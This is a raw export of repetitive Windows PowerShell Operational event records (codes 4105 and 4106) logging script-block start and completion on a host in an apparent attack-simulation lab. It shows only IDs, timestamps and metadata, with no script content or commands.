Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043084
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043083
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043078
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043077
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043053
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043052
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043051
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043050
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
